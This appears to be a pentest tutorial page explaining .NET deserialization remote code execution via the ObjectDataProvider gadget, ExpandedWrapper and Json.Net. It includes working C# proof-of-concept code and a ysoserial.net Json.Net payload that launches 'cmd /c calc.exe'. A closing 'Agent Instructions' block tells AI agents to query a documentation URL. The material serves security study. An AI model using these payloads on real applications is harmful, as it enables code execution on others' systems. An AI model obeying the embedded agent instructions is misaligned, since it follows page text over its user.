# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

This post is dedicated to **understand how the gadget ObjectDataProvider is exploited** to obtain RCE and **how** the Serialization libraries **Json.Net and xmlSerializer can be abused** with that gadget.

## ObjectDataProvider Gadget <a href="#objectdataprovider-gadget" id="objectdataprovider-gadget"></a>

From the documentation: *the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source*. Yeah, it's a weird explanation, so lets see what does this class have that is so interesting: This class allows to **wrap an arbitrary object**, use ***MethodParameters*** to **set arbitrary parameters,** and then **use MethodName to call an arbitrary function** of the arbitrary object declared using the arbitrary parameters. Therefore, the arbitrary **object** will **execute** a **function** with **parameters while being deserialized.**

### **How is this possible** <a href="#how-is-this-possible" id="how-is-this-possible"></a>

The ObjectDataProvider is defined and implemented in the System.Windows.Data namespace, which is located in the **PresentationFramework.dll** (*C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF*).

Using [**dnSpy**](https://github.com/0xd4d/dnSpy) you can **inspect the code** of the class we are interested in. In the image below we are seeing the code of **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**

![](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MB9Vbw0zOHkUulbiqxi%2F-MB9xUS95bE9kkm-dn3W%2Fimage.png?alt=media\&token=1752c6b0-9778-47fc-bab0-cb8ad06122a0)

As you can observe when `MethodName` is set `base.Refresh()` is called, lets take a look to what does it do:

![](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MB9Vbw0zOHkUulbiqxi%2F-MB9y7CVK5gL-v4JNVZn%2Fimage.png?alt=media\&token=dc90c73c-aa78-4b99-ad69-68128998ef4f)

Ok, lets continue seeing what does `this.BeginQuery()` does. `BeginQuery` is overridden by `ObjectDataProvider` and this is what it does:

![](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MB9Vbw0zOHkUulbiqxi%2F-MB9ycfVHYpRr4m2i56F%2Fimage.png?alt=media\&token=08819fb1-cfe0-441c-8c9f-36c25df0b1c2)

Note that at the end of the code it's calling `this.QueryWorke(null)`. Let's see what does that execute:

![](https://gblobscdn.gitbook.com/assets%2F-L_2uGJGU7AVNRcqRvEi%2F-MB9Vbw0zOHkUulbiqxi%2F-MB9yzbbtE9_bQBkR_p-%2Fimage.png?alt=media\&token=3e832aa3-24fc-423d-b516-03a19f5a0931)

Note that this isn't the complete code of the function `QueryWorker` but it shows the interesting part of it: The code **calls** **`this.InvokeMethodOnInstance(out ex);`** this is the line where the **method set is invoked**.

If you want to check that just setting the ***MethodName*** **it will be executed**, you can run this code:

```
using System.Windows.Data;using System.Diagnostics;​namespace ODPCustomSerialExample{    class Program    {        static void Main(string[] args)        {            ObjectDataProvider myODP = new ObjectDataProvider();            myODP.ObjectType = typeof(Process);            myODP.MethodParameters.Add("cmd.exe");            myODP.MethodParameters.Add("/c calc.exe");            myODP.MethodName = "Start";        }    }}
```

Note that you need to add as reference *C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll* in order to load `System.Windows.Data`

## ExpandedWrapper <a href="#expandedwrapper" id="expandedwrapper"></a>

Using the previous exploit there will be cases where the **object** is going to be **deserialized as** an ***ObjectDataProvider*** **instance** (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using `GetType`). Then, will have **no knowledge of the object type that is wrapped** in the *ObjectDataProvider* instance (`Process` for example). You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).

This class allows to s**pecify the object types of the objects that are encapsulated** in a given instance. So, this class can be used to encapsulate a source object (*ObjectDataProvider*) into a new object type and provide the properties we need (*ObjectDataProvider.MethodName* and *ObjectDataProvider.MethodParameters*). This is very useful for cases as the one presented before, because we will be able to **wrap** ***ObjectDataProvider*** **inside an** ***ExpandedWrapper*** instance and **when deserialized** this class will **create** the ***OjectDataProvider*** object that will **execute** the **function** indicated in ***MethodName***.

You can check this wrapper with the following code:

```
using System.Windows.Data;using System.Diagnostics;using System.Data.Services.Internal;​namespace ODPCustomSerialExample{    class Program    {        static void Main(string[] args)        {            ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();            myExpWrap.ProjectedProperty0 = new ObjectDataProvider();            myExpWrap.ProjectedProperty0.ObjectInstance = new Process();            myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");            myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");            myExpWrap.ProjectedProperty0.MethodName = "Start";        }    }}​
```

## Json.Net <a href="#json-net" id="json-net"></a>

In the [official web page](https://www.newtonsoft.com/json) it is indicated that this library allows to **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. So, if we could **deserialize the ObjectDataProvider gadget**, we could cause a **RCE** just deserializing an object.

### Json.Net example <a href="#json-net-example" id="json-net-example"></a>

First of all lets see an example on how to **serialize/deserialize** an object using this library:

```
using System;using Newtonsoft.Json;using System.Diagnostics;using System.Collections.Generic;​namespace DeserializationTests{    public class Account    {        public string Email { get; set; }        public bool Active { get; set; }        public DateTime CreatedDate { get; set; }        public IList<string> Roles { get; set; }    }    class Program    {        static void Main(string[] args)        {            Account account = new Account            {                Active = true,                CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),                Roles = new List<string>                {                    "User",                    "Admin"                }            };            string json = JsonConvert.SerializeObject(account);            Console.WriteLine(json);            Account desaccount = JsonConvert.DeserializeObject<Account>(json);            Console.WriteLine(desaccount.Email);        }    }}
```

### Abusing Json.Net <a href="#abusing-json-net" id="abusing-json-net"></a>

Using [ysoserial.net](https://github.com/pwntester/ysoserial.net) I crated the exploit:

```
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"{    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',    'MethodName':'Start',    'MethodParameters':{        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',        '$values':['cmd', '/c calc.exe']    },    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}}
```

In this code you can **test the exploit**, just run it and you will see that a calc is executed:

```
using System;using System.Text;using Newtonsoft.Json;​namespace DeserializationTests{    class Program    {        static void Main(string[] args)        {            string userdata = @"{                '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',                'MethodName':'Start',                'MethodParameters':{                            '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',                    '$values':['cmd', '/c calc.exe']                },                'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}            }";            string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));​            byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);            string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);            object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings            {                TypeNameHandling = TypeNameHandling.Auto            });        }    }}
```

​


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pwc-3.gitbook.io/pwc/ji-shu/webpentest2/untitled-7/basic-.net-deserialization-objectdataprovider-gadget-expandedwrapper-and-json.net.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
